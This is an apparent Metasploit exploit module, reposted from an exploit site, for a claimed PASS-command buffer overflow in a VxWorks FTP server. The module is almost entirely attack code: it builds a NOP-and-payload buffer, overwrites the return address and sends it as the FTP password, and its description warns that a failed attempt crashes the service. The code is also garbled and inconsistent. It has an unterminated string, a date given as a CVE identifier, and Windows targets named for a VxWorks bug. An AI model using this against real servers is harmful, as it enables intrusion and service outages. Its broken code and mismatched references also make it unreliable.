|
##
# $Id: VxWorks_FTP_server.rb 16850 2011-09-07 10:20:45Z Iraq $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'WVxWorks FTP server Password Overflow',
'Description' => %q{
This exploits the buffer overflow found in the PASS command
in VxWorks FTP server This particular module will only work
reliably against Windows targets. The server must be
configured to allow anonymous logins for this exploit to
succeed. A failed attempt will bring down the service
completely.
},
'Author' => 'Angel Injection',
'License' => BSD_LICENSE,
'Version' => '$Revision: 16850
,
'References' =>
[
[ 'CVE', '7/9/2011'],
[ 'OSVDB', '16850' ],
[ 'BID', '16851' ],
[ 'URL', 'http://www.1337day.com/exploits/16851' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 530,
'BadChars' => "\x00\x0a\x0d\x40",
'StackAdjustment' => -3200,
'Compat' =>
{
'ConnectionType' => "-find"
}
},
'Targets' =>
[
# Target 0
[
'Windows',
{
'Platform' => 'win',
'Ret' => 0x5f4e772b
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '7/9/2011'))
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = make_nops(655) + payload.encoded
buf[645, 2] = "\xeb\x06"
buf[562, 4] = [ target.ret ].pack('V')
# Send USER Command
send_user(datastore['FTPUSER'])
# Send PASS Command
send_cmd(['PASS', buf], false)
handler
disconnect
end
end
|